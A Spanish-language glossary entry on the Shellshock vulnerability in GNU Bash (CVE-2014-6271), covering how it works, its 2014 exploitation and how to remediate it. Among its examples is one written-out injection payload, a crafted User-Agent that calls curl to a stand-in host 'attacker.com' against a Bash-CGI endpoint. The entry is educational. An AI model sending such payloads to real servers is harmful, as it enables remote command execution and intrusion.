CyberGlossary

Vulnerabilidades

Shellshock (CVE-2014-6271)

También conocido como: Bashdoor, CVE-2014-6271

Definición

Vulnerabilidad de 2014 en GNU Bash que permitía ejecutar comandos arbitrarios al fijar variables de entorno especialmente diseñadas y pasarlas a Bash a través de otros programas.

Shellshock (CVE-2014-6271, junto con la relacionada CVE-2014-7169) es un fallo en cómo GNU Bash analizaba definiciones de función almacenadas en variables de entorno: los comandos posteriores al cuerpo de la función se ejecutaban al iniciar la shell. Como muchos servicios —CGI, clientes DHCP, OpenSSH ForceCommand, qmail— invocaban Bash con variables controlables por el atacante, el bug era trivialmente explotable de forma remota, a menudo como root. La divulgación de 2014 disparó una oleada mundial de parches y una explotación masiva para botnets, webshells y gusanos. La remediación pasa por actualizar Bash, sustituir arquitecturas Bash-CGI heredadas y aplicar defensa en profundidad: bajar privilegios y restringir el paso de variables.

Ejemplos

  • Enviar un User-Agent como () { :; }; /bin/curl attacker.com a un endpoint Bash-CGI para obtener shell inversa.
  • Explotar un cliente DHCP que exporta cadenas de opción al entorno de un hook Bash.

Términos relacionados